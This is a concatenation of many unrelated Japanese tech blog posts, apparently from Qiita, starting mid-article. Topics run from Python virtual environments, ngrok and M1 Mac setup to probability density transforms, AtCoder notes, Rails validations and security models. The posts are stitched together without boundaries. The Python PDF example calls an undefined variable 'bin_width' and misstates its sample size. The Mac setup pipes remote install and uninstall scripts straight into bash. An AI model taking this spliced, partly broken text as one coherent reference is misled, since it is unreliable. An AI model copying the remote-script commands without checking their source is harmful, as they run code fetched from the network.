要は、activateを実行できたらいいです。
ちなみにオフにする場合
```
$ deactivate
```
### アクセスしているディレクトリが違う
プロジェクトフォルダでアクティベートして、仮想環境にアクセスしていないからつまづいているということもあったりします。
何も考えずにngrokをバックグラウンドで実行する

何も考えずに、ngrokをバックグラウンドで実行したばい場合は以下！

```bash
nohup ngrok http --log=stdout {ポート番号} &> ./ngrok.txt &
```
```bash
nohup ngrok http --log=stdout 8000 &> ./ngrok.txt &
```

* 参考URL  
  * [ngrok](https://ngrok.com/)
M1 Macの環境構築1

今の所使っているのはpythonとlatex。2年前に環境構築した。
しよう機材はM1 Mac。
競プロを始めてみようとc++の環境構築をしようと思ったが、うまくいかない。
色々ごちゃごちゃなきがしているので、一度全て消して新たに環境構築する。
これはその際の備忘録。

一度全てを消す。
~~~
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/uninstall.sh)"
~~~

結果

~~~
The following possible Homebrew files were not deleted:
/opt/homebrew/Frameworks/
/opt/homebrew/bin/
/opt/homebrew/etc/
/opt/homebrew/include/
/opt/homebrew/lib/
/opt/homebrew/opt/
/opt/homebrew/sbin/
/opt/homebrew/share/
/opt/homebrew/var/
You may wish to remove them yourself.
~~~

どうやら、homebrewは完全に消せてはないが、成功っぽい。

次にVScodeのアンインストール。
VScode.appをゴミ箱に入れ、Finderの隠しファイルから.vscodeをフォルダごとゴミ箱シュート。

これで一応全て消したはず。

次にHomebrewのインストール
公式サイトからコピペするだけ
~~~
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
~~~
特にエラーもなく成功

次にVScodeのインストール。前回は公式サイトからインストールしたが、今回はhomebrewで

~~~
brew install visual-studio-code --cask
~~~

と思ったらエラーが、
~~~
Error: It seems there is already a Binary at '/opt/homebrew/bin/code'.
~~~
さっきhomebrewを消したときに残ったバイナリが悪さしてるらしい
てことで、せっかくですが、強制アンインストールして再再インストール
~~~
% brew uninstall --cask visual-studio-code --force
% brew install visual-studio-code --cask
~~~
成功したのかバージョン確認
~~~
% code -v
1.89.1
dc96b837cf6bb4af9cd736aa3af08cf8279f7685
arm64
~~~
成功

vscodeのpython関係の拡張機能、成型拡張機能とかいれた。
対数変換による確率密度関数の変換

## 動機

個人所得や都市の人口など、確率変数が大きな値と小さな値を取るときに対数変換を経由して確率密度関数を求めることができる。

## 対数変換による確率密度関数の変換公式

変数変換$y = \log x$にともなう確率変数$X$から$Y$への変換により、$X$の確率密度関数(PDF) $p(x)$は$Y$の確率密度関数$q(y)$に次のように変換される。

```math
p(x) = q(y) /x
```

<details><summary>導出</summary>

これは次のように導出される。累積分布関数を

```math
P(X \leq x) = \int_{-\infty}^{x} p(t)dt
```

```math
P(Y \leq y) = \int_{-\infty}^{y} q(s)ds
```

で定義する。変数変換$y = \log x, Y = \log X$により

```math
P(X \leq x) = P(Y \leq \log x)
```

なので

```math
q(y) = \frac{dP(Y \leq y)}{dy} = \frac{dP(X \leq x)}{dx} \frac{dx}{dy} = p(x) x
```

となる。
</details>

## Python code

次の図を出力するpythonコードは以下。パレート分布(べき分布)から100000万点サンプルしてPDFを計算した。(青)対数空間上で等間隔にbinを区切りリニアスケールで直接PDFを計算したもの、(赤)各点を対数変換して対数空間上でPDFを計算してリニアスケールに戻したもの、そして(黒)解析解を描画した。

![probability_distribution.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/228921/fb9e35c6-ef0f-a58e-49ce-a329acbb392d.png)




```python
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd

def pdfs(series, bins, ax=None, scale='linear', kwargs={}):
  cnts = pd.cut(series, bins).value_counts()
  p = cnts / series.shape[0]
  vals = p / np.diff(bins)
  if scale=='linear':
    mb = np.array([ (bins[i]+bins[i+1])/2. for i in np.arange(bins.shape[0]-1) ])
  elif scale=='log':
    mb = np.array([ np.sqrt(bins[i]*bins[i+1]) for i in np.arange(bins.shape[0]-1) ])
  else:
    raise ValueError("scale should be either 'linear' or 'log'")
  if ax!=None:
    ax.plot(mb, vals, **kwargs)
  return mb, vals, cnts, p

def analytical_pdf_pareto(a, xmin, x):
  return a/xmin * x**(-(a+1))

if __name__ == '__main__':

  a, xmin = 1.0, 1.0
  sample_size = 100000
  
  series = (np.random.pareto(a, sample_size) + 1) * xmin
  ln_transformed_series = np.log(series)

  ### calculate bins 
  ln_bin_width = 0.1

  ln_transformed_bins = np.arange(ln_transformed_series.min(), ln_transformed_series.max(), bin_width)
  bins = np.exp(ln_transformed_bins)

  ### calculate PDF of original series
  original_bin, original_pdf, _, __ = pdfs(series = series, bins = bins)
  
  ### calculate PDF of log-transformed series
  ln_bin, ln_pdf, _, __ = pdfs(series = ln_transformed_series, bins = ln_transformed_bins)

  ### plot PDF
  fig, ax = plt.subplots()
  ax.set_xlabel(r'$x$')
  ax.set_ylabel(r'$p(x)$')
  ax.set_xscale('log')
  ax.set_yscale('log')
  
  ax.plot(original_bin, original_pdf, 
  c='b', marker='o', label='PDF of original series')
  
  ax.plot(original_bin, ln_pdf / original_bin, 
  c='r', marker='x', label='PDF via log-transformation')
  
  ax.plot(original_bin, analytical_pdf_pareto(a, xmin, original_bin),
  c='k', ls='--', label='PDF Analytical')

  ax.legend(loc='lower left')
  fig.savefig('probability_distribution.png')
```
ARC177回答メモ

# 0.はじめに
　最近調子を落としていますが挽回したい一心で参加。
 なんとか、A,Bを正解しましたが、昨日のABCのCより簡単なのでは？
 という感じだったので、他の方もできていたようで、レート-4と
 微減で終わりました。
 2問ともケアレスミスで1回お手つきしたのが響きました。


# 1.A - Exchange
　実生活等でイメージしやすい問題。
 お釣りを最小にする払い方とかDP必須な問題ではなくてよかったです。

 【考え方】
 　・各価格を5で割った余り分は、1円玉でしか払えない。
 　・1円玉で支払った後、端数が5円の場合5円玉でしかはらえない
 　・といった形で、小さい貨幣から支払うのに足りるかを
　 　チェックしていき、最後に残った金額を500円玉ではらえるかを
  　 調べて終了。
     小さい貨幣が余ったら、上位貨幣に統合
     (1円が5枚以上余ったら5円を1追加等)

 【実装】(変数名は回答とは違い問題文準拠)
 　1.各入力インプット
   2.1円チェック
   　-0.Y：1円玉の必要数を0で初期化
   　-1.リストXの各値に以下の処理
    　--1.X[i]を5で割った余りを変数yにセット
     　(yはX[i]払うのに必要な1円玉の数)
      --2.Yにyを加算
      --3.X[i]からｙを減算
   　-2.AがYより小さい場合、1円玉が足りないのでNoを出力して終了
   　-3.AがY以上の時
    　--1.AからYを減算
      --2.BにA//5を加算（残った1円玉を5円として使用）
   3.5円チェック
   　-0.Y：10円玉の必要数を0で初期化
   　-1.リストXの各値に以下の処理
    　--1.X[i]を10で割った余りを変数yにセット
     　(yはX[i]払うのに必要な5円玉の数)
      --2.Yにyを加算
      --3.X[i]からｙを減算
   　-2.BがYより小さい場合、5円玉が足りないのでNoを出力して終了
   　-3.BがY以上の時
    　--1.BからYを減算
      --2.CにA//2を加算（残った5円玉を10円として使用）
   4～6.10円～100円チェック（上記と同様）
   7.500円チェック
   　-0.Y：500円玉の必要数を0で初期化
   　-1.リストXの各値に以下の処理
    　--1.X[i]を500で割った余りを変数yにセット
     　(yはX[i]払うのに必要な500円玉の数)
      --2.Yにyを加算
   　-2.FがYより小さい場合、500円玉が足りないのでNoを出力して終了
   　-3.FがY以上の時、Yesを出力して終了

　無駄に、A~Fをリストに保持し、A~Fではなく、C[0]～C[5]で
 実装したため、添え字数を間違ってWAになりました。
 ループさせないのであれば、Ａ～Ｆでよかったなと反省


　https://atcoder.jp/contests/arc177/submissions/53419532

# 2.B - Puzzle of Lamps
　Aよりも簡単に感じた問題。
 【考え方】
 　・右から見ていき、ついてるランプまでは無視。
　 ・ついてるランプがあったらその位置のランプをつけるためAを押す
  　→左から5個目のランプだったら、5回押す
   ・次に消えてるランプが来るまで見ていき、消えてるランプが
   　あったら、そのランプを消すまでBを押す
   ・上記の繰り返し

　楽勝！と、提出したら、出力は押す回数+押すボタンの文字列
 の2行である罠にはまり、1回お手つきになりました・・・。

　https://atcoder.jp/contests/arc177/submissions/53421445


以上
「っゔぁがんまりー あぱらぎ ひとぅー みーや みーん」はUniversal Dependenciesで書けるのか

『[南琉球・宮古語 池間方言辞典：西原地区版](https://doi.org/10.15084/0002000172)』(国立国語研究所, 2024年3月)を読んでいたところ、「っゔぁがんまりー あぱらぎ ひとぅー みーや みーん」という面白い例文を見つけた(p.589)。

![ikima589.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/428317/714518fa-26af-eccd-5c06-c975ab5304b0.png)

どうしてこの例文が「んみ」のところにあるのか謎なのだが、Universal Dependenciesで書けるかどうか、検討してみよう。まずは単語長とLEMMAだが、これは『南琉球・宮古語 池間方言辞典：西原地区版』の例文である以上、この辞典自身に接地するのが安全だろう。とするとXPOSも、この辞典から取ることになる。

「っゔぁ」は【代名詞】(p.259)、「が」は【助詞】〘格助詞〙(p.109)、「んまりー」は「んまり」【接尾辞】(p.588)と「い」だが、この「い」は適切な見出しが見つからない。「んまい」【動詞】(p.586)の連用形も考えたが、どうも違うようだ。次の「あぱらぎ」も、たぶん【形容詞】だが見出しが見つからない。「ひとぅー」は「ひとぅ」【名詞】(p.405)と「う」【助詞】〘格助詞〙(p.71)、「みー」は【動詞】(p.485)、「や」は「あ」【助詞】提題(p.1)、「みー」は【補助動詞】(p.485)、「ん」は【接尾辞】(p.569)。よし、Universal Dependenciesで書いてみよう。

```
# text = っゔぁがんまりー あぱらぎ ひとぅー みーや みーん
1	っゔぁ	っゔぁ	PRON	代名詞	_	3	nmod	_	SpaceAfter=No
2	が	が	ADP	助詞	_	1	case	_	SpaceAfter=No
3	んまりー	んまり	PART	接尾辞	_	5	nmod	_	_
4	あぱらぎ	あぱらぎ	ADJ	形容詞	_	5	amod	_	_
5-6	ひとぅー	_	_	_	_	_	_	_	_
5	ひとぅ	ひとぅ	NOUN	名詞	_	7	obj	_	_
6	う	う	ADP	助詞	_	5	case	_	_
7	みー	みー	VERB	動詞	_	0	root	_	SpaceAfter=No
8	や	あ	ADP	助詞	_	7	mark	_	_
9	みー	みー	AUX	補助動詞	_	7	aux	_	SpaceAfter=No
10	ん	ん	PART	接尾辞	_	9	advmod	_	_
```
![ud-ikima.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/428317/e1593f04-7788-1704-bfda-a5024fc6817a.png)

この手法なら、LEMMAやXPOSに悩まなくてもいいはずなのだが、それでも「んまりー」や「あぱらぎ」で微妙に困ってしまった。結果として「んまりー」へのリンク元に、「あぱらぎ」「ひとぅ」「みー」のどれが適切なのか、私(安岡孝一)としては自信がない。さて、どうしたものかな。
【個人開発/学生】".env"をGitHubリポジトリに紐づけて共有出来る"EnvHub"を作成しました。【Next.js + Supabase】

# はじめに
**Next.js + Supabase** を使ってチーム開発等で使える **.env** を **GitHubリポジトリに紐づけて共有・保存出来るWebアプリ** を作成しました。

こちらが **デプロイしたアプリケーション** になります。

https://env-hub-hazel.vercel.app/

こちらが **EnvHub自身のGitHubリポジトリ** になります。

https://github.com/warabimochi1126/EnvHub


# V2アップデート後の紹介記事です
V2アップデート後の紹介記事を作成しました！
以下がリンクとなります！

https://qiita.com/warabimochi_26/items/77549de7c8c40284a8bc


## 免責事項
このウェブアプリを利用することによって生じるあらゆる損害や損失に対して、一切の責任を負いません

## 作成した動機
・**チーム開発時** にコード共有は **GitHub** を使うが、**envファイルの共有** は **チャットツールでのファイル共有** を使っており、**envファイル自身も共有できたら良いのにな** と思ったからです。

## デモ動画

・アップロード側

![Videotogif.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3348923/648044fa-c722-e040-16e5-4bb1e18ed4b3.gif)

・ダウンロード側

![Videotogif2.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3348923/9829a398-e164-057c-e2ec-d30aaca62c6c.gif)


## 技術スタック・ライブラリ
**1.** 基盤側
・**Next.js (App Router)**
・**@supabase/ssr**

**2.** フロントエンド側
・**react-dropzone**
・**react-modal**
・**react-spinners**
・**react-toastify**
・**sharp** -> 開発サーバ立ち上げには必要無かったのですが、build時に必要でした。

**3.** グローバルステート管理
・**zustand**

**4.** バックエンド側
・**zod**
・**server-only**

## 頑張ったところ
・**ハイドレーションを発生させないよう** 出来るだけ **サーバコンポーネント** に寄せたところというところと
・セキュアにしたくて **Supabaseへのアクセス** を **全てサーバ側** からにして **ロジックを隠している** ところを頑張りました。

## 妥協したところ
**個人リポジトリ** だけが **envファイル共有** となっており、
**orgnizationのリポジトリ** が **envファイル共有** の対象としなかったことです。

これは **GitHub REST API** の **時間毎の回数制限** と **レンダリング時の複数回にわたるデータフェッチがボトルネックになること** を危惧したからです。


## さいごに
さいごにこの開発のために学習した **ライブラリの使い方** を記事にしているのでリンクを張っておきます。

https://qiita.com/warabimochi_26/items/0dbe147262cca750bab8

https://qiita.com/warabimochi_26/items/bf24ce1ea59b9c483a0b

https://qiita.com/warabimochi_26/items/817b6944986466f2c0c5

https://qiita.com/warabimochi_26/items/dfec9a0d4b200fdbf26b

https://qiita.com/warabimochi_26/items/9f9bb85cecf6e70fa3b2

https://qiita.com/warabimochi_26/items/a58bb47096d9430d63e7
TCP/IPアプリケーション層のプロトコル

CCNAに向けて勉強中なのでアプリケーション層のプロトコルをまとめました。
- HTTP(Hyper Text Transfer Protocol)
クライアント(Webブラウザなど)とWebサーバー間でデータを送受信する。
* HTTPS(Hyper Text Transfer Protocol Secure)
WebブラウザとWebサーバ間の通信にSSLの暗号化を実装する。
- FTP(File Transfer Protocol)
TCP/IPネットワーク経由で信頼性のあるファイル転送機能を提供する。
* TFTP(Trivial File Transfer Protocol)
TCP/IPネットワーク経由で効率の良いコネクションレス型のファイル転送機能を提供する。
- SMTP(Simple Mail Transfer Protocol)
クライアントが電子メールを送信する、またはメールサーバ間でメールのやり取りをする。
* POP3(Post Office Protocol version3)
クライアントがメールサーバから電子メールを受信するときに使用する。
- Telnet
ネットワーク経由で、ほかの端末を遠隔操作する仮想端末機能を提供する。
* SSH(Secure SHell)
Telnetと同様に、ネットワーク経由の仮想端末機能を提供する。SSHで送信されるデータはすべて暗号化されるため、一連の操作を安全に行える。
- SNMP(Simple Network Management Protocol)
TCP/IPネットワーク上のルータ、スイッチ、サーバなどの通信機器の監視、制御するための機能を提供する。
* NTP(Network Time Protocol)
ネットワーク経由でコンピュータ内部のシステムロックを正しく調整(同期)する。

参考文献
◆インプレス　徹底攻略Cisco CCNA問題集[200-301 CCNA]対応
C#で自動テスト(Playwright) 環境構築～テスト実行手順

# はじめに
本記事はPlaywright for .NETのやってみた系記事である。
細かい内容は省略しつつ、読者も同様に実施できる事を目指す。

#### 参考
・https://playwright.dev/dotnet/docs/intro
・https://playwright.dev/dotnet/docs/api/class-playwright

# Playwright for .NETって何?
WEBアプリケーションの自動操作・自動検証を支援するライブラリ(OSS)である
Playwrightの.NET向け言語サポート版 (言語サポート: Node.js, Python, Java)で、
単体テストフレームワークNUnit上で動作する。
・複数ブラウザに対応
・画面キャプチャの取得
・テスト実行コードの生成
・ヘッドレス実行(ブラウザを表示なし)
・EXCELファイル操作(Apach POI → NPOI)

#### Seleniumと比較すると更に
自動待機が充実: テスト実行コード生成直後にほぼそのまま実行できる
ビデオ録画
画像の差分比較: ※.NET向けは現状非対応
　参考: https://github.com/microsoft/playwright/issues/29582

# 使用してみる
#### 事前準備
■ビルドにPowershellを使用するので許可
例 >Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
#### 環境構築
コマンドライン上でコマンド入力。
1)ドットネットプロジェクトを作成
```
dotnet new nunit -n [任意のフォルダ名]
```
2)依存関係のインストール
```
dotnet add package Microsoft.Playwright.NUnit
dotnet build
pwsh bin/Debug/net8.0/playwright.ps1 install
```
最後のパワーシェルコマンドは、初回(環境内で初めてPlaywright for .NETを使用する場合)のみ実行する。
対象スクリプトはビルドする事で生成される。(階層は.NET 8.0の場合)
#### 実行手順
```
dotnet test //すべてのテストを実行する場合
dotnet test --filter "AAA" //クラス名, メソッド名に「AAA」を含むテストを実行する場合
dotnet test -- Playwright.LaunchOptions.Headless=false //ブラウザを表示させてテストを実行する場合
```
※ テストコード内で注釈[Test]や[TestCase]をつけたメソッドをテストと呼称する
# 実用性Tips
#### フォルダ構成
\testCase
\testCase\case_1
\testCase\case_1\case_1_1.cs
#### テストコードサンプル
```Case1_1.cs
using System.Threading.Tasks;
using Microsoft.Playwright;
using Microsoft.Playwright.NUnit;
using NUnit.Framework;

namespace PlaywrightTests;

[Parallelizable(ParallelScope.Self)]
[TestFixture]
public class Case1_1 : PageTest
{
    public override BrowserNewContextOptions ContextOptions()
    {
        return new BrowserNewContextOptions()
        {
            // 出力先: デフォルトはbin\Debug\net8.0\
            RecordVideoDir = "../../../output/videos/",
        };
    }

    // 各Test注釈に対し毎回事前処理
    [SetUp]
    public async Task Init()
    {
        // ログイン処理
    }

    // 各Test注釈に対し毎回事後処理
    [TearDown]
    public async Task Clean()
    {
        // ログアウト処理
    }
    
    [Test]
    public async Task Case_1_1_1()
    {
        // ケース
    }

    [Test]
    public async Task Case_1_1_2()
    {
        // ケース
    }
}
```

普段はVScodeからコマンド実行
デバッグ時はVS2022のテストエクスプローラーからデバッグ実行
非エンジニア提供時は起動コマンド入れたbatファイル提供
が良さそう。
【kubernetes】aliasでdefault namespaceを変更して毎回同じnamespaceを入力する無駄な時間とオサラバしてハピハピになった件

default namespaceをaliasで変更すると無駄な時間とオサラバ出来ます。

## 実践

```bash
echo "alias <ALIAS>='kubectl -n <NAMESPACE>'" >> ~/.zshrc
source ~/.zshrc
```

設定するとこんなかんじに実行できるようになります

```
~
❯ k get po
No resources found in default namespace.

~
❯ alias k='kubectl -n <NAMESPACE>' >> ~/.zshrc

~
❯ source ~/.zshrc

~
❯ k get po
NAME                                                   READY   STATUS      RESTARTS   AGE
xxxx-xxxxxx-xxxx                                       1/1     Running     0          7h10m
xxxx-xxxxxx-xxxx                                       1/1     Running     0          7h11m
```

↓これでdefault namespaceを変更してもいいんだけど、contextごとに設定する必要があるので
複数contextを使っている方はちょっとめんどくさいです。

```bash
kubectl config set-context --current --namespace=<NAMESPACE>
```

皆んなもハピハピになろう！ :smirk_cat: 

# 余談

最初記事に `>> ~/.zshrc` じゃなくて `> ~/.zshrc` って書いてあって、試しに実行したらzshrcの設定が吹き飛んでアンハピハピした

`.zprofile`でbackupを取る様にしました。
シェル起動時に一度だけ設定を保存します。

```bash
mkdir ~/backup
```

```.zprofile
cp ~/.zshrc ~/backup/.zshrc_backup
```

一安心だね :star:
Python3: CSV の作成

ヘッダー付き、ダブルクォーテーション(二重引用符)囲いの CSV ファイルの作成方法です。

## プログラム

```py:csv_write.py
#! /usr/bin/python
#
#	csv_write.py
#
#						May/14/2024
#
import	sys
import	csv
#
# --------------------------------------------------------------------
sys.stderr.write("*** 開始 ***\n")
file_out = sys.argv[1]
#
header=["市区町村コード","宛名番号","個人履歴番号","個人履歴番号_枝番号","最新フラグ"]
data=[["131016","12345678912","1","1","1"],
	["131016","12345678913","1","1","1"],
	["131016","12345678914","1","1","1"],
	["131016","12345678915","1","1","1"],
	["131016","12345678916","1","1","1"]]
#
with open(file_out, 'w') as ff:
	writer = csv.writer(ff,delimiter=',',
		quotechar='"',quoting=csv.QUOTE_ALL)
	writer.writerow(header)
	writer.writerows(data)
#
sys.stderr.write("*** 終了 ***\n")
# --------------------------------------------------------------------
```

## 実行方法

```bash
./csv_write.py out01.csv
```

作成された CSV ファイル

```text:out01.csv
"市区町村コード","宛名番号","個人履歴番号","個人履歴番号_枝番号","最新フラグ"
"131016","12345678912","1","1","1"
"131016","12345678913","1","1","1"
"131016","12345678914","1","1","1"
"131016","12345678915","1","1","1"
"131016","12345678916","1","1","1"
```
ITパスポートの財務問題について

# はじめに
ITパスの財務問題について

# 最終更新日
2024年5月14日

# 注意
最新の状態を確認して下さい。

# 公式はこちら
https://www3.jitec.ipa.go.jp/JitesCbt/index.html

# 問題

販売価格10万円　製品1000個を製造し、販売する予定である。
A案とB案に関する記述のうち、適切なものはどれか。

A（単位は万円単位）
固定費1000
製品1個あたりの変動費　3

B
固定費2000
製品1個あたりの変動費　2

A　ABともに利益は出ない。
B　AとBの利益は等しい。
C　Aの方が利益は多い。
D　Bの方が利益は多い。


# 問題の状況を、1つずつ整理していく

### 総収入を求める

まず、どのくらい売れたのか求めます。
10万円×1000個=10000万円

![car_pink.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/cad46b25-4e86-d2a9-2fd8-8b91f07f10b0.png)![car8_pink.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/8db8def8-2845-b909-24d5-be1c4f779704.png)![car8_pink.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/8db8def8-2845-b909-24d5-be1c4f779704.png)![car_pink.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/cad46b25-4e86-d2a9-2fd8-8b91f07f10b0.png)![car_pink.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/cad46b25-4e86-d2a9-2fd8-8b91f07f10b0.png)



# Aについて

![car_pink.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/cad46b25-4e86-d2a9-2fd8-8b91f07f10b0.png)

販売価格: 10万円
製品数: 1000個

<img width="200" alt="" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/4cfb96aa-ee03-7d02-fefe-66a5e2ab45c0.png">

固定費: 1000万円

<img width="200" alt="" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/66073ab8-5b20-c0fa-471d-5655cfc32b83.png">

製品1個あたりの変動費: 3万円

### Aの計算

総変動費、総費用、利益を計算します。

##### 総変動費:

どのくらい材料に料金がかかっているのか、計算します。

3万円×1000個=3000万円

##### 総費用（固定費 + 総変動費）:

どのくらい必要な料金がかかったのか、計算します。

![無題5950_20240514164324.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/df554ba9-148d-61ef-e02d-2cbdf144d47d.png)

1000万円+3000万円=4000万円

##### 利益:

かかったものから引くと利益がわかります。

総収入−総費用
=10000万円−4000万円=6000万円



# Bについて


![car8_pink.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/8db8def8-2845-b909-24d5-be1c4f779704.png)
販売価格: 10万円
製品数: 1000個

<img width="200" alt="" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/4cfb96aa-ee03-7d02-fefe-66a5e2ab45c0.png">

固定費: 2000万円

<img width="200" alt="" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/66073ab8-5b20-c0fa-471d-5655cfc32b83.png">

製品1個あたりの変動費: 2万円

### Bの計算

同様に、総変動費、総費用、利益を計算します。

##### 総変動費:

2万円×1000個=2000万円

##### 総費用（固定費 + 総変動費）:

2000万円+2000万円=4000万円

![無題5950_20240514164324.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148394/df554ba9-148d-61ef-e02d-2cbdf144d47d.png)

##### 利益:

総収入−総費用
=10000万円−4000万円=6000万円


# 答え

6000万円と6000万円なので、「B　AとBの利益は等しい。」が正解！
Databricksにおける検索と置換

(今更ですが)ずっとブラウザの検索機能使ってました。

**編集 > 検索して置換**を選択します。

![Screenshot 2024-05-14 at 16.36.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/606378de-0690-90d2-5bc0-63ca3f0e0b40.png)

検索、置換ボックスが表示されます。
![Screenshot 2024-05-14 at 16.40.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/37c138d9-1fde-add3-7a87-085e12fde92f.png)

マークダウンのセルも編集状態となるので、セル内のコードのみを対象に検索、置換が可能です。

マニュアルはこちら。

https://docs.databricks.com/ja/notebooks/notebooks-code.html#find-and-replace-text

### はじめてのDatabricks

[はじめてのDatabricks](https://qiita.com/taka_yayoi/items/8dc72d083edb879a5e5d)

### Databricks無料トライアル

[Databricks無料トライアル](https://databricks.com/jp/try-databricks)
DynamoDBをローカルで動かす

# DynamoDBをローカルで動かす

`docker`を使用して、`DynamoDB`をローカルで動かす手順をメモっておきます。

## docker-compose.yml

`docker-compose.yml`ファイルを作成

次を貼り付ける。

```yml:docker-compose.yml
version: "3.7"

services:
  dynamodb-local:
    image: amazon/dynamodb-local:latest
    container_name: dynamodb-local
    user: root
    volumes:
      - "./data:/data"
    command: ["-jar", "DynamoDBLocal.jar", "-sharedDb", "-dbPath", "/data"]
    ports:
      - "8000:8000"

  dynamo-admin:
    image: aaronshaf/dynamodb-admin:latest
    container_name: dynamo-admin
    environment:
      DYNAMO_ENDPOINT: http://dynamodb-local:8000
    ports:
      - "8001:8001"
    depends_on:
      - dynamodb-local
```

## 起動

```bash
docker compose up
# または
docker compose up -d
```

<http://localhost:8001>にアクセスすると、`dynamo-admin`が開きます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1262857/58259894-cfb0-10d5-4b87-82a03c7de56e.png)

## エンドポイント

`dynamodb`にアクセスするためのエンドポイントは <http://localhost:8000> です。
Bell-LapadulaとBibaをざっくり理解する

# Bell-Lapadula、Bibaとは
セキュリティポリシーを守らせるための方法論であるセキュリティモデルの種類。

## Bell-Lapadula
機密性にフォーカスしたセキュリティモデル。

・単純セキュリティルール
自分のレベル(秘密とか)よりも高いレベルに分類されたファイルの読み取りは×。

・スター属性ルール
自分のレベルよりも低いレベルに分類されたファイルへの書き込みは×。

・強化スター属性ルール
自分と同レベルのファイルに対してのみ読み書きできる。

## Biba
完全性にフォーカスしたセキュリティモデル。Bell-Lapadulaの逆。

・単純完全性ルール
自分のレベルよりも低いレベルに分類されたファイルの読み取りは×。

・スター完全性ルール
自分のレベルよりも高いレベルに分類されたファイルへの書き込みは×。

・呼出属性ルール
自分と同レベル以下のファイルにのみアクセス可能。

# まとめ
自分から見てどこに位置するファイルにアクセスできるかを考えているわけだな。
【＋α】初学者がRailsガイドから知見を広げる（'Active Record バリデーション'編 1）

:::note warn
【記事のテーマ】
初級者＆中級者向けの書籍である『[独習Ruby on Rails](https://www.shoeisha.co.jp/book/detail/9784798160689)』を基準に<br>初学者である自分視点で「初級者＆中級者向けの書籍には載っていないが公式のドキュメントには載っている少し上級よりな内容」<br>を取り上げることを目的としています。
:::
***
（参考書籍）
1. [独習Ruby on Rails](https://www.shoeisha.co.jp/book/detail/9784798160689)
2. [パーフェクトRuby on Rails 【増補改訂版】](https://gihyo.jp/book/2020/978-4-297-11462-6)

（参考サイト）
1. [Railsガイド >> Active Record バリデーション](https://railsguides.jp/active_record_migrations.html)
1. [Railsドキュメント](https://railsdoc.com/)
1. [Ruby on Rails API](https://api.rubyonrails.org/v7.1/)
***
# バリデージョンの概要[^1]
[^1]:https://railsguides.jp/active_record_validations.html#%E3%83%90%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E6%A6%82%E8%A6%81
## 1.2 バリデーション実行時の動作
### saveメソッドを実行したか否か
- Active Recordのオブジェクトには2種類存在<br>⇒既にDBにレコードとして入っているか否か
    - 言い換えれば<br>　１）「モデルから生成しただけ」or「DBのレコードを取得してきたオブジェクト」<br>　２）「これから新規レコードとして保存するオブジェクト」<br>の２種類がある
- モデルオブジェクトを`new`メソッドでインスタンス生成しただけではDBに保存されてはいない
- このインスタンスを`save`メソッドを呼ぶことでDBのテーブルに保存される
    - この「DBに`save`済みのインスタンスなのかどうか」を調べるメソッドに`new_record?`がある

> bin/rails consoleの出力で様子を観察してみます。
> ```ruby
> irb> p = Person.new(name: "John Doe")
> => #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
> 
> irb> p.new_record?
> => true
> 
> irb> p.save
> => true
> 
> irb> p.new_record?
> => false
> ```
> （Railsガイドより引用）

⇒このサンプルより、`new_record?`で「`save`をしていないインスタンス？」を真偽値として返しているため、`save`メソッドの実行前後で返り値が異なる

### DB保存に関連する破壊的メソッド
・`create!`
・`save!`
・`update!`
- 上記の`!`が末尾に付く破壊的メソッドは「オブジェクトが無効」な場合に**例外が発生**する
    - 普通のメソッド（非破壊メソッド）の場合は保存に失敗した場合には「false」を返す
> ```ruby
> （前略）
> 
> irb> p.save
> => false
> 
> irb> p.save!
> ActiveRecord::RecordInvalid: Validation failed: Name can’t be blank
> 
> irb> Person.create!
> ActiveRecord::RecordInvalid: Validation failed: Name can’t be blank
> ```
> （Railsガイドより引用）

※一般的なのは「破壊的メソッドで呼び出した変数の値を変えてしまう」方だがそれとは別の意味を持っていることになる

### バリデーションのスキップ
- バリデーションはDB保存実行時に必ず発生するが、オプションを渡せば意図的に回避できる
    - `save(validate: false)` ← 引数を渡している

以下、代表的なバリデーションをスキップするオブジェクト保存メソッド

- `insert_all` = 「直接SQLを実行して複数レコードを一括登録するためスキップ」
- `update_columns` = 「SQL文を発行してデータベースの属性を直接更新」

## 1.4 valid?とinvalid?
### バリデーションの動作確認がしたい
- バリデーションがしっかり機能しているかどうかを確認したい時に`valid?`メソッドが有効
    - 手動でモデルに設けたバリデーション全てを実行確認できる
        - "true"：バリデーションを問題なく通過している<br>"false"：バリデーションに引っかかっている = DBの値として不適切

以下Railsガイドから引用したサンプルコードになる。
> ```ruby
> class Person < ApplicationRecord
>   validates :name, presence: true
> end
> ```
> ```ruby
> irb> Person.create(name: "John Doe").valid?
> => true
> irb> Person.create(name: nil).valid?
> => false
> ```
> （Railsガイドより引用）

### バリデーションの失敗内容の確認がしたい
- バリデーションが行われて失敗するとエラー内容が`ActiveModel::Errors`クラスのインスタンス変数として管理される
    - DB保存に失敗したインスタンスから`errors()`メソッドを使ってアクセスする
